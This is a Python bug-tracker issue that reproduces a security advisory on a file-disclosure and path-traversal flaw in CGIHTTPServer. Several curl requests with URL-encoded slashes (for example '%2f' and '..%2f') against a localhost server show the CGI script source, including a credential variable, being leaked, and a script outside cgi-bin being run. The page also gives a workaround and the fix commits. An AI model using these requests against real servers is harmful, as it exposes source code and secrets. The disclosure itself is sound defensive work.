New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CGIHTTPServer File Disclosure #65965
Comments
From the security list: The CGIHTTPServer Python module does not properly handle URL-encoded Details Product: Python CGIHTTPServer Introduction The CGIHTTPServer module defines a request-handler class, interface (from the Python documentation) More Details The CGIHTTPServer module can be used to set up a simple HTTP server with ------------------------------------------------------------------------ import CGIHTTPServer
import BaseHTTPServer
if __name__ == "__main__":
server = BaseHTTPServer.HTTPServer
handler = CGIHTTPServer.CGIHTTPRequestHandler
server_address = ("", 8000)
# Note that only /cgi-bin will work:
handler.cgi_directories = ["/cgi-bin", "/cgi-bin/subdir"]
httpd = server(server_address, handler)
httpd.serve_forever() This server should execute any scripts located in the subdirectory ------------------------------------------------------------------------ #!/usr/bin/env python2
import json
import sys
db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"})) The Python library CGIHTTPServer.py implements the CGIHTTPRequestHandler class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
[...]
def do_GET(self):
"""Serve a GET request."""
f = self.send_head()
if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f = self.send_head()
if f:
f.close()
def translate_path(self, path):
[...]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
[...] The CGIHTTPRequestHandler class inherits, among others, the methods class CGIHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
[...]
def do_POST(self):
[...]
if self.is_cgi():
self.run_cgi()
else:
self.send_error(501, "Can only POST to CGI scripts")
def send_head(self):
"""Version of send_head that support CGI scripts"""
if self.is_cgi():
return self.run_cgi()
else:
return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
def is_cgi(self):
[...]
collapsed_path = _url_collapse_path(self.path)
dir_sep = collapsed_path.find('/', 1)
head, tail = collapsed_path[:dir_sep], collapsed_path[dir_sep+1:]
if head in self.cgi_directories:
self.cgi_info = head, tail
return True
return False
[...]
def run_cgi(self):
"""Execute a CGI script."""
dir, rest = self.cgi_info
# dissect the part after the directory name into a script name &
# a possible additional path, to be stored in PATH_INFO.
i = rest.find('/')
if i >= 0:
script, rest = rest[:i], rest[i:]
else:
script, rest = rest, ''
scriptname = dir + '/' + script
scriptfile = self.translate_path(scriptname)
if not os.path.exists(scriptfile):
self.send_error(404, "No such CGI script (%r)" % scriptname)
return
if not os.path.isfile(scriptfile):
self.send_error(403, "CGI script is not a plain file (%r)" %
scriptname)
return
[...]
[...] For HTTP GET requests, do_GET() first invokes send_head(). That method $ curl http://localhost:8000/cgi-bin%2ftest.py
#!/usr/bin/env python2
import json
import sys db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"})) Similarly, the CGIHTTPRequestHandler can be tricked into executing CGI This can be seen in the following example. Even though the sample server $ curl http://localhost:8000/cgi-bin/subdir/test.py
[...]
<p>Error code 403.
<p>Message: CGI script is not a plain file ('/cgi-bin/subdir').
[...] Here, is_cgi() set self.cgi_info to ('/cgi-bin', 'subdir/test.py') and $ curl http://localhost:8000/cgi-bin/subdir%2ftest.py
{"text": "This is a Test"} This is because neither is_cgi() nor run_cgi() URL decode the path Similarly, using URL encoded forward slashes, executables outside of a $ curl http://localhost:8000/cgi-bin/..%2ftraversed.py
{"text": "This is a Test"} Workaround Subclass CGIHTTPRequestHandler and override the is_cgi() method with a class FixedCGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
def is_cgi(self):
self.path = urllib.unquote(self.path)
return CGIHTTPServer.CGIHTTPRequestHandler.is_cgi(self) Fix <FIX> Security Risk The vulnerability can be used to gain access to the contents of CGI The CGIHTTPServer code does contain this warning: |
New changeset b4bab0788768 by Benjamin Peterson in branch '2.7': New changeset e47422855841 by Benjamin Peterson in branch '3.2': New changeset 5676797f3a3e by Benjamin Peterson in branch '3.3': New changeset 847e288d6e93 by Benjamin Peterson in branch '3.4': New changeset f8b3bb5eb190 by Benjamin Peterson in branch 'default': |
Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.
Show more details
GitHub fields:
bugs.python.org fields:
The text was updated successfully, but these errors were encountered: